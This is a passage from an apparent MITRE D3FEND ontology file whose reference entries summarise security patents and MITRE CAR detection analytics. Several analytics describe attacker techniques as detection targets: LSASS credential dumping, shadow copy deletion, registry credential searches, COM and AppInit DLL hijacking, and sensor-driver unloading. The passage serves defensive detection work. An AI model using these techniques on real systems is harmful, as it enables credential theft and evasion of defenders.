    d3f:kb-abstract "The invention provides a system and method for automatic creation of adaptive behavioral profiles for observables associated with resource states and events in a computer network (IT) infrastructure of an enterprise and for detecting anomalies that represent potential malicious activity and threats as deviations from normal behavior. Separate profiles may be created for each behavioral indicator, as well as for each time series of measurements, and aggregated to create an overall behavioral profile. An anomaly probability is determined from the behavioral profile and used to evaluate the data values of observables. Outlier data values which deviate from normal behavior by more than a predetermined probability threshold are identified for risk analysis as possible threats while inliers within the range of normal behavior are used to update the behavioral profile. Behavioral profiles are created for behavioral indicators based upon observables measured over predetermined time periods using algorithms employing statistical analysis approaches that work for any type of data distribution, and profiles are adapted over time using data aging to more closely represent current behavior. Algorithm parameters for creating profiles are based on the type of data, i.e., its metadata." ;
    d3f:kb-author "Igor A. Baikalov; Tanuj Gulati; Sachin Nayyar; Anjaneya Shenoy; Ganpatrao H. Patwardhan" ;
    d3f:kb-mitre-analysis """The patent describes a technique for detecting anomalous activity within an organization's IT infrastructure to identify threats. Behavioral profiles can be grouped by peer groups that identify functionally similar groups of actors (users or resources) based on their attributes and pre-defined grouping rules. For example, users can be grouped by their job title, organizational hierarchy, or location and can be observed for similarities in access patterns, based on granted access entitlements or actual logged resource access.

Behavioral profiles are created from measurements of events over a time period for example:

* Transaction counts
* Concurrent users per hour
* Daily volume of data

Outlier data values which deviate from behavioral profile by more than a predetermined probability threshold are identified for risk analysis as possible threats.""" ;
    d3f:kb-organization "Securonix Inc" ;
    d3f:kb-reference-of d3f:JobFunctionAccessPatternAnalysis ;
    d3f:kb-reference-title "Anomaly Detection Using Adaptive Behavioral Profiles" .

d3f:Reference-Anti-tamperSystemWithSelf-adjustingGuards_ARXANTECHNOLOGIESInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Anti-tamper system with self-adjusting guards - ARXAN TECHNOLOGIES Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20150052603A1"^^xsd:anyURI ;
    d3f:kb-abstract "An anti-tamper system is disclosed that includes self-adjusting guards inserted in software. Self-adjusting guards include invocation criteria and guard function. During run-time, each time the self-adjusting guard is invoked, the invocation criteria is evaluated and the guard function is only executed if the invocation criteria is satisfied. The invocation criteria can be static or dynamic, satisfied randomly with fixed or varying probability, a monotonically or exponentially decreasing function or most any other type of function. The invocation criteria can be satisfied based on elapsed inter-guard invocation time (time since last guard function execution), target inter-guard invocation time, and/or guard execution time. A method is disclosed of inserting self-adjusting guards into software, and executing the software. Evaluating the invocation criteria can include adjusting the invocation criteria when satisfied. The self-adjusting guards can be inserted into the software at a source or object code level." ;
    d3f:kb-author "Kevin Dale Morgan" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "ARXAN TECHNOLOGIES Inc" ;
    d3f:kb-reference-of d3f:ProcessCodeSegmentVerification ;
    d3f:kb-reference-title "Anti-tamper system with self-adjusting guards" .

<http://d3fend.mitre.org/ontologies/d3fend.owl#Reference-ApproachesForSecuringAnInternetEndpointUsingFine-grainedOperatingSystemVirtualization_Bromium,Inc.> a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Approaches for securing an internet endpoint using fine-grained operating system virtualization - Bromium, Inc." ;
    d3f:has-link "https://patents.google.com/patent/US20110296412A1"^^xsd:anyURI ;
    d3f:kb-abstract "Approaches for executing untrusted software on a client without compromising the client using micro-virtualization to execute untrusted software in isolated contexts. A template for instantiating a virtual machine on a client is identified in response to receiving a request to execute an application. After the template is identified, without human intervention, a virtual machine is instantiated, using the template, in which the application is to be executed. The template may be selected from a plurality of templates based on the nature of the request, as each template describe characteristics of a virtual machine suitable for a different type of activity. Selected resources such as files are displayed to the virtual machines according to user and organization policies and controls. When the client determines that the application has ceased to execute, the client ceases execution of the virtual machine without human intervention." ;
    d3f:kb-author "Gaurav Banga, Ian Pratt, Kiran Bondalapati, Vikram Kapoor" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Bromium, Inc." ;
    d3f:kb-reference-of d3f:Hardware-basedProcessIsolation ;
    d3f:kb-reference-title "Approaches for securing an internet endpoint using fine-grained operating system virtualization" .

d3f:Reference-ArchitectureOfTransparentNetworkSecurityForApplicationContainers_NeuvectorInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Architecture of transparent network security for application containers - Neuvector Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20170093922A1"^^xsd:anyURI ;
    d3f:kb-abstract "A system comprises one or more application containers, each application container including computer-readable instructions and initiated via a container service and isolated using operating system-level virtualization. The system also comprises one or more virtual switches configured to route traffic from the application containers. The system further comprises one or more security containers, each security container configured to transparently intercept traffic from the one or more application containers for analysis of network security. The system further comprises a user interface (UI) container configured to receive configuration settings from a user. The system also comprises an analytics container configured to perform analysis on data received from the one or more security containers. The system also comprises a management container configured to configure settings for the one or more security containers and the analytics container." ;
    d3f:kb-author "Gang Duan" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Neuvector Inc" ;
    d3f:kb-reference-of d3f:SystemCallFiltering ;
    d3f:kb-reference-title "Architecture of transparent network security for application containers" .

d3f:Reference-AutomatedComputerVulnerabilityResolutionSystem a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Automated computer vulnerability resolution system" ;
    d3f:has-link "https://patents.google.com/patent/US7308712B2"^^xsd:anyURI ;
    d3f:kb-abstract "A system and process for addressing computer security vulnerabilities. The system and process generally comprise aggregating vulnerability information on a plurality of computer vulnerabilities; constructing a remediation database of said plurality of computer vulnerabilities; constructing a remediation signature to address the computer vulnerabilities; and deploying said remediation signature to a client computer. The remediation signature essentially comprises a sequence of actions to address a corresponding vulnerability. A managed automated approach to the process is contemplated in which the system is capable of selective deployment of remediation signatures; selective resolution of vulnerabilities; scheduled deployment of remediation signatures; and scheduled scanning of client computers for vulnerabilities." ;
    d3f:kb-author "Carl E. Banzhof" ;
    d3f:kb-organization "McAfee LLC" ;
    d3f:kb-reference-of d3f:AssetVulnerabilityEnumeration ;
    d3f:kb-reference-title "Automated computer vulnerability resolution system" .

d3f:Reference-AutomaticallyGeneratingNetworkResourceGroupsAndAssigningCustomizedDecoyPoliciesThereto_IllusiveNetworksLtd a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Automatically generating network resource groups and assigning customized decoy policies thereto - Illusive Networks Ltd" ;
    d3f:has-link "https://patents.google.com/patent/US20170310689A1"^^xsd:anyURI ;
    d3f:kb-abstract "A cyber security system comprising circuitry of a decoy deployer planting one or more decoy lateral attack vectors in each of a first and a second group of resources within a common enterprise network of resources, the first and second groups of resources having different characteristics in terms of subnets, naming conventions, DNS aliases, listening ports, users and their privileges, and installed applications, wherein a lateral attack vector is an object of a first resource within the network that has a potential to be used by an attacker who discovered the first resource to further discover information regarding a second resource within the network, the second resource being previously undiscovered by the attacker, and wherein the decoy lateral attack vectors in the first group conform to the characteristics of the first group, and the decoy lateral attack vectors in the second group conform to the characteristics of the second group." ;
    d3f:kb-author "Shlomo Touboul; Hanan Levin; Stephane Roubach; Assaf Mischari; Itai Ben David; Itay Avraham; Adi Ozer; Chen Kazaz; Ofer Israeli; Olga Vingurt; Liad Gareh; Israel Grimberg; Cobby Cohen; Sharon Sultan; Matan Kubovsky" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Illusive Networks Ltd" ;
    d3f:kb-reference-of d3f:DecoyNetworkResource ;
    d3f:kb-reference-title "Automatically generating network resource groups and assigning customized decoy policies thereto" .

d3f:Reference-BroadcastIsolationAndLevel3NetworkSwitch_HewlettPackardEnterpriseDevelopmentLP a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Broadcast isolation and level 3 network switch - Hewlett Packard Enterprise Development LP" ;
    d3f:has-link "https://patents.google.com/patent/US5920699A"^^xsd:anyURI ;
    d3f:kb-abstract "A network switch comprising a switching Application Specific Integrated Circuit (ASIC) and a Virtual Switching Engine (VSE) connected to a plurality of ports. The switching ASIC has a high-speed memory table which enables it to look up addresses that it has previously obtained and to forward unicast packets to said addresses. The VSE is a CPU that makes switching decisions outside of the ASIC and keeps track of any unknown addresses, forwarding the packets out the appropriate ports and answers broadcast packets by proxy for all known addresses without forwarding any of the packets down the VLANs, thereby freeing the VLAN bandwidth from excessive traffic. The system requires no user configuration because the switching methodology is self-adaptive to the network in which it is inserted and has the ability to perform router functions such as level 2 and 3 switching, spanning tree protocols and compatibility with Internetwork Packet and Internetwork Packet Exchange networks." ;
    d3f:kb-author "Ballard C. Bare" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Hewlett Packard Enterprise Development LP" ;
    d3f:kb-reference-of d3f:BroadcastDomainIsolation ;
    d3f:kb-reference-title "Broadcast isolation and level 3 network switch" .

d3f:Reference-CAR-2014-05-001%3ARPCActivity_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2014-05-001: RPC Activity - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2014-05-001/"^^xsd:anyURI ;
    d3f:kb-abstract """Microsoft Windows uses its implementation of Distributed Computing Environment/Remote Procedure Call (DCE/RPC), which it calls Microsoft RPC, to call certain APIs remotely.

A Remote Procedure Call is initiated by communicating to the RPC Endpoint Mapper, which exists as the Windows service RpcEptMapper and listens on the port 135/tcp. The endpoint mapper resolves a requested endpoint/interface and responds to the client with the port that the service is listening on. Since the RPC endpoints are assigned ports when the services start, these ports are dynamically assigned from 49152 to 65535. The connection to the endpoint mapper then terminates and the client program can communicate directly with the requested service.

RPC is a legitimate functionality of Windows that allows remote interaction with a variety of services. For a Windows environment to be properly configured, several programs use RPC to communicate legitimately with servers. The background and benign RPC activity may be enormous, but must be learned, especially peer-to-peer RPC between workstations, which is often indicative of Lateral Movement.""" ;
    d3f:kb-author "MITRE" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:RPCTrafficAnalysis ;
    d3f:kb-reference-title "CAR-2014-05-001: RPC Activity" .

d3f:Reference-CAR-2014-11-007-RemoteWindowsManagementInstrumentation_WMI_OverRPC_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2014-11-007: Remote Windows Management Instrumentation (WMI) over RPC - MITRE" ;
    d3f:has-link ""^^xsd:anyURI ;
    d3f:kb-abstract """As described in ATT&CK, an adversary can use Windows Management Instrumentation (WMI) to view or manipulate objects on a remote host. It can be used to remotely edit configuration, start services, query files, and anything that can be done with a WMI class. When remote WMI requests are over RPC (CAR-2014-05-001), it connects to a DCOM interface within the RPC group netsvcs. To detect this activity, a sensor is needed at the network level that can decode RPC traffic or on the host where the communication can be detected more natively, such as Event Tracing for Windows. Using wireshark/tshark decoders, the WMI interfaces can be extracted so that WMI activity over RPC can be detected.

Although the description details how to detect remote WMI precisely, a decent estimate has been to look for the string RPCSS within the initial RPC connection on 135/tcp. It returns a superset of this activity, and will trigger on all DCOM-related services running within RPC, which is likely to also be activity that should be detected between hosts. More about RPCSS at : rpcss_dcom_interfaces.html""" ;
    d3f:kb-author "MITRE" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:RPCTrafficAnalysis ;
    d3f:kb-reference-title "CAR-2014-11-007: Remote Windows Management Instrumentation (WMI) over RPC" .

d3f:Reference-CAR-2015-04-001%3ARemotelyScheduledTasksViaAT_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2015-04-001: Remotely Scheduled Tasks via AT - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2015-04-001/"^^xsd:anyURI ;
    d3f:kb-abstract """When AT.exe is used to remotely schedule tasks, Windows uses named pipes over SMB to communicate with the API on the remote machine. After authentication over SMB, the Named Pipe “ATSVC” is opened, over which the JobAdd function is called. On the remote host, the job files are created by the Task Scheduler and follow the convention C:\\Windows\\System32\\AT<job\\_id>. Unlike CAR-2013-05-004, this analytic specifically focuses on uses of AT that can be detected between hosts, indicating remotely gained execution.

This pipe activity could be discovered with a network decoder, such as that in wireshark, that can inspect SMB traffic to identify the use of pipes. It could also be detected by looking for raw packet capture streams or from a custom sensor on the host that hooks the appropriate API functions. If no network or API level of visibility is possible, this traffic may inferred by looking at SMB connections over 445/tcp followed by the creation of files matching the pattern C:\\Windows\\System32\\AT\\<job_id\\>.""" ;
    d3f:kb-author "MITRE" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:IPCTrafficAnalysis ;
    d3f:kb-reference-title "CAR-2015-04-001: Remotely Scheduled Tasks via AT" .

d3f:Reference-CAR-2016-04-004_SuccessfulLocalAccountLogin a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2016-04-004: Successful Local Account Login" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2016-04-004/"^^xsd:anyURI ;
    d3f:kb-reference-of d3f:LocalAccountMonitoring ;
    d3f:kb-reference-title "Reference - CAR-2016-04-004: Successful Local Account Login" .

d3f:Reference-CAR-2020-04-001%3AShadowCopyDeletion_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2020-04-001: Shadow Copy Deletion - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2020-04-001/"^^xsd:anyURI ;
    d3f:kb-abstract """The Windows Volume Shadow Copy Service is a built-in OS feature that can be used to create backup copies of files and volumes.

Adversaries may delete these shadow copies, typically through the usage of system utilities such as vssadmin.exe or wmic.exe, in order prevent file and data recovery. This technique is commonly employed for this purpose by ransomware.""" ;
    d3f:kb-author "MITRE" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessSpawnAnalysis ;
    d3f:kb-reference-title "CAR-2020-04-001: Shadow Copy Deletion" .

d3f:Reference-CAR-2020-05-001%3AMiniDumpOfLSASS_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2020-05-001: MiniDump of LSASS - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2020-05-001/"^^xsd:anyURI ;
    d3f:kb-abstract """This analytic detects the minidump variant of credential dumping where a process opens lsass.exe in order to extract credentials using the Win32 API call MiniDumpWriteDump. Tools like SafetyKatz, SafetyDump, and Outflank-Dumpert default to this variant and may be detected by this analytic, though keep in mind that not all options for using those tools will result in this specific behavior.

The analytic is based on a Sigma analytic contributed by Samir Bousseaden and written up in a blog on MENASEC. It looks for a call trace that includes either dbghelp.dll or dbgcore.dll, which export the relevant functions/permissions to perform the dump. It also detects using the Windows Task Manager (taskmgr.exe) to dump lsass, which is described in CAR-2019-08-001. In this iteration of the Sigma analytic, the GrantedAccess filter isn’t included because it didn’t seem to filter out any false positives and introduces the potential for evasion.

This analytic was tested both in a lab and in a production environment with a very low false-positive rate. werfault.exe and tasklist.exe, both standard Windows processes, showed up multiple times as false positives.""" ;
    d3f:kb-author "MITRE" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:SystemCallAnalysis ;
    d3f:kb-reference-title "CAR-2020-05-001: MiniDump of LSASS" .

d3f:Reference-CAR-2020-05-003%3ARareLolBASCommandLines_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2020-05-003: Rare LolBAS Command Lines - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2020-05-003/"^^xsd:anyURI ;
    d3f:kb-abstract """LoLBAS are binaries and scripts that are built in to Windows, frequently are signed by Microsoft, and may be used by an attacker. Some LoLBAS are used very rarely and it might be possible to alert every time they’re used (this would depend on your environment), but many others are very common and can’t be simply alerted on.

This analytic takes all instances of LoLBAS execution and then looks for instances of command lines that are not normal in the environment. This can detect attackers (which will tend to need the binaries for something different than normal usage) but will also tend to have false positives.

The analytic needs to be tuned. The 1.5 in the query is the number of standard deviations away to look. It can be tuned up to filter out more noise and tuned down to get more results. This means it is probably best as a hunting analytic when you have analysts looking at the screen and able to tune the analytic up and down, because the threshold may not be stable for very long.""" ;
    d3f:kb-author "MITRE" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessSpawnAnalysis ;
    d3f:kb-reference-title "CAR-2020-05-003: Rare LolBAS Command Lines" .

d3f:Reference-CAR-2020-08-001%3ANTFSAlternateDataStreamExecution-SystemUtilities_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2020-08-001: NTFS Alternate Data Stream Execution - System Utilities - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2020-08-001/"^^xsd:anyURI ;
    d3f:kb-abstract "NTFS Alternate Data Streams (ADSs) may be used by adversaries as a means of evading security tools by storing malicious data or binaries in file attribute metadata. ADSs are also powerful because they can be directly executed by various Windows tools; accordingly, this analytic looks at common ways of executing ADSs using system utilities such as powershell." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessSpawnAnalysis ;
    d3f:kb-reference-title "CAR-2020-08-001: NTFS Alternate Data Stream Execution - System Utilities" .

d3f:Reference-CAR-2020-09-001%3AScheduledTask-FileAccess_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2020-09-001: Scheduled Task - FileAccess - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2020-09-001/"^^xsd:anyURI ;
    d3f:kb-abstract "In order to gain persistence, privilege escalation, or remote execution, an adversary may use the Windows Task Scheduler to schedule a command to be run at a specified time, date, and even host. Task Scheduler stores tasks as files in two locations - C:\\Windows\\Tasks (legacy) or C:\\Windows\\System32\\Tasks. Accordingly, this analytic looks for the creation of task files in these two locations." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:FileCreationAnalysis ;
    d3f:kb-reference-title "CAR-2020-09-001: Scheduled Task - FileAccess" .

d3f:Reference-CAR-2020-09-002%3AComponentObjectModelHijacking_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2020-09-002:  Component Object Model Hijacking - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2020-09-002/"^^xsd:anyURI ;
    d3f:kb-abstract "Adversaries may establish persistence or escalate privileges by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. This is typically done by replacing COM object registry entries under the HKEY_CURRENT_USER\\Software\\Classes\\CLSID or HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID keys. Accordingly, this analytic looks for any changes under these keys." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:UserSessionInitConfigAnalysis ;
    d3f:kb-reference-title "CAR-2020-09-002: Component Object Model Hijacking" .

d3f:Reference-CAR-2020-09-003%3AIndicatorBlocking-DriverUnloaded_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2020-09-003: Indicator Blocking - Driver Unloaded - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2020-09-003/"^^xsd:anyURI ;
    d3f:kb-abstract "Adversaries may attempt to evade system defenses by unloading minifilter drivers used by host-based sensors such as Sysmon through the use of the fltmc command-line utility. Accordingly, this analytic looks for command-line invocations of this utility when used to unload minifilter drivers." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessSpawnAnalysis ;
    d3f:kb-reference-title "CAR-2020-09-003: Indicator Blocking - Driver Unloaded" .

d3f:Reference-CAR-2020-09-004%3ACredentialsInFiles%26Registry_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2020-09-004: Credentials in Files & Registry - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2020-09-004/"^^xsd:anyURI ;
    d3f:kb-abstract "Adversaries may search the Windows Registry on compromised systems for insecurely stored credentials for credential access. This can be accomplished using the query functionality of the reg.exe system utility, by looking for keys and values that contain strings such as “password”. In addition, adversaries may use toolkits such as PowerSploit in order to dump credentials from various applications such as IIS.Accordingly, this analytic looks for invocations of reg.exe in this capacity as well as that of several powersploit modules with similar functionality." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessSpawnAnalysis ;
    d3f:kb-reference-title "CAR-2020-09-004: Credentials in Files & Registry" .

d3f:Reference-CAR-2020-09-005%3AAppInitDLLs_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2020-09-005: AppInit DLLs - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2020-09-005/"^^xsd:anyURI ;
    d3f:kb-abstract "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll. These values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes. Accordingly, this analytic looks for modifications to these registry keys that may be indicative of this type of abuse." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:SystemInitConfigAnalysis ;
    d3f:kb-reference-title "CAR-2020-09-005: AppInit DLLs" .

d3f:Reference-CAR-2020-11-002%3ALocalNetworkSniffing_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2020-11-002: Local Network Sniffing - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2020-11-002/"^^xsd:anyURI ;
    d3f:kb-abstract "Adversaries may use a variety of tools to gain visibility on the current status of things on the network: which processes are listening on which ports, which services are running on other hosts, etc. This analytic looks for the names of the most common network sniffing tools. While this may be noisy on networks where sysadmins are using any of these tools on a regular basis, in most networks their use is noteworthy." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessLineageAnalysis ;
    d3f:kb-reference-title "CAR-2020-11-002: Local Network Sniffing" .

d3f:Reference-CAR-2020-11-003%3ADLLInjectionWithMavinject_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2020-11-003: DLL Injection with Mavinject - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2020-11-003/"^^xsd:anyURI ;
    d3f:kb-abstract "Injecting a malicious DLL into a process is a common adversary TTP. Although the ways of doing this are numerous, mavinject.exe is a commonly used tool for doing so because it roles up many of the necessary steps into one, and is available within Windows. Attackers may rename the executable, so we also use the common argument “INJECTRUNNING” as a related signature here. Whitelisting certain applications may be necessary to reduce noise for this analytic." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessSpawnAnalysis ;
    d3f:kb-reference-title "CAR-2020-11-003: DLL Injection with Mavinject" .

d3f:Reference-CAR-2020-11-004%3AProcessesStartedFromIrregularParent_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2020-11-004: Processes Started From Irregular Parent - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2020-11-004/"^^xsd:anyURI ;
    d3f:kb-abstract "Adversaries may start legitimate processes and then use their memory space to run malicious code. This analytic looks for common Windows processes that have been abused this way in the past; when the processes are started for this purpose they may not have the standard parent that we would expect. This list is not exhaustive, and it is possible for cyber actors to avoid this discepency. These signatures only work if Sysmon reports the parent process, which may not always be the case if the parent dies before sysmon processes the event." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessLineageAnalysis ;
    d3f:kb-reference-title "CAR-2020-11-004: Processes Started From Irregular Parent" .

d3f:Reference-CAR-2020-11-005%3AClearPowershellConsoleCommandHistory_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2020-11-005: Clear Powershell Console Command History - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2020-11-005/"^^xsd:anyURI ;
    d3f:kb-abstract "Adversaries may attempt to conceal their tracks by deleting the history of commands run within the Powershell console, or turning off history saving to begin with. This analytic looks for several commands that would do this. This does not capture the event if it is done within the console itself; only commandline-based commands are detected. Note that the command to remove the history file directly may very a bit if the history file is not saved in the default path on a particular system." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessSpawnAnalysis ;
    d3f:kb-reference-title "CAR-2020-11-005: Clear Powershell Console Command History" .

d3f:Reference-CAR-2020-11-006%3ALocalPermissionGroupDiscovery_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2020-11-006: Local Permission Group Discovery - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2020-11-006/"^^xsd:anyURI ;
    d3f:kb-abstract "Cyber actors frequently enumerate local or domain permissions groups. The net utility is usually used for this purpose. This analytic looks for any instances of net.exe, which is not normally used for benign purposes, although system administrator actions may trigger false positives." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessSpawnAnalysis ;
    d3f:kb-reference-title "CAR-2020-11-006: Local Permission Group Discovery" .

d3f:Reference-CAR-2020-11-007%3ANetworkShareConnectionRemoval_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2020-11-007: Network Share Connection Removal - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2020-11-007/"^^xsd:anyURI ;
    d3f:kb-abstract "Adversaries may use network shares to exfliltrate date; they will then remove the shares to cover their tracks. This analytic looks for the removal of network shares via commandline, which is otherwise a rare event." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessSpawnAnalysis ;
    d3f:kb-reference-title "CAR-2020-11-007: Network Share Connection Removal" .

d3f:Reference-CAR-2020-11-008%3AMSBuildAndMsxsl_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2020-11-008: MSBuild and msxsl - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2020-11-008/"^^xsd:anyURI ;
    d3f:kb-abstract "Trusted developer utilities such as MSBuild may be leveraged to run malicious code with elevated privileges. This analytic looks for any instances of msbuild.exe, which will execute any C# code placed within a given XML document; and msxsl.exe, which processes xsl transformation specifications for XML files and will execute a variaty of scripting languages contained within the XSL file. Both of these executables are rarely used outside of Visual Studio." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessSpawnAnalysis ;
    d3f:kb-reference-title "CAR-2020-11-008: MSBuild and msxsl" .

d3f:Reference-CAR-2020-11-009%3ACompiledHTMLAccess_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2020-11-009: Compiled HTML Access - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2020-11-009/"^^xsd:anyURI ;
    d3f:kb-abstract "Adversaries may hide malicious code in .chm compiled HTML files. When these files are read, Windows uses the HTML help executable named hh.exe, which is the signature for this analytic." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessSpawnAnalysis ;
    d3f:kb-reference-title "CAR-2020-11-009: Compiled HTML Access" .

d3f:Reference-CAR-2020-11-011%3ARegistryEditFromScreensaver a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2020-11-011: Registry Edit from Screensaver" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2020-11-011/"^^xsd:anyURI ;
    d3f:kb-abstract "Adversaries may use screensaver files to run malicious code. This analytic triggers on suspicious edits to the screensaver registry keys, which dictate which .scr file the screensaver runs." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:UserSessionInitConfigAnalysis ;
    d3f:kb-reference-title "CAR-2020-11-011: Registry Edit from Screensaver" .

d3f:Reference-CAR-2021-01-002%3AUnusuallyLongCommandLineStrings_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2021-01-002: Unusually Long Command Line Strings - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2021-01-002/"^^xsd:anyURI ;
    d3f:kb-abstract "Often, after a threat actor gains access to a system, they will attempt to run some kind of malware to further infect the victim machine. These malware often have long command line strings, which could be a possible indicator of attack. Here, we use sysmon and Splunk to first find the average command string length and search for command strings that stretch over multiple lines, thus identifying anomalies and possibly malicious commands." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessSpawnAnalysis ;
    d3f:kb-reference-title "CAR-2021-01-002: Unusually Long Command Line Strings" .

d3f:Reference-CAR-2021-01-003%3AClearingWindowsLogsWithWevtutil_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2021-01-003: Clearing Windows Logs with Wevtutil - MITRE" ;
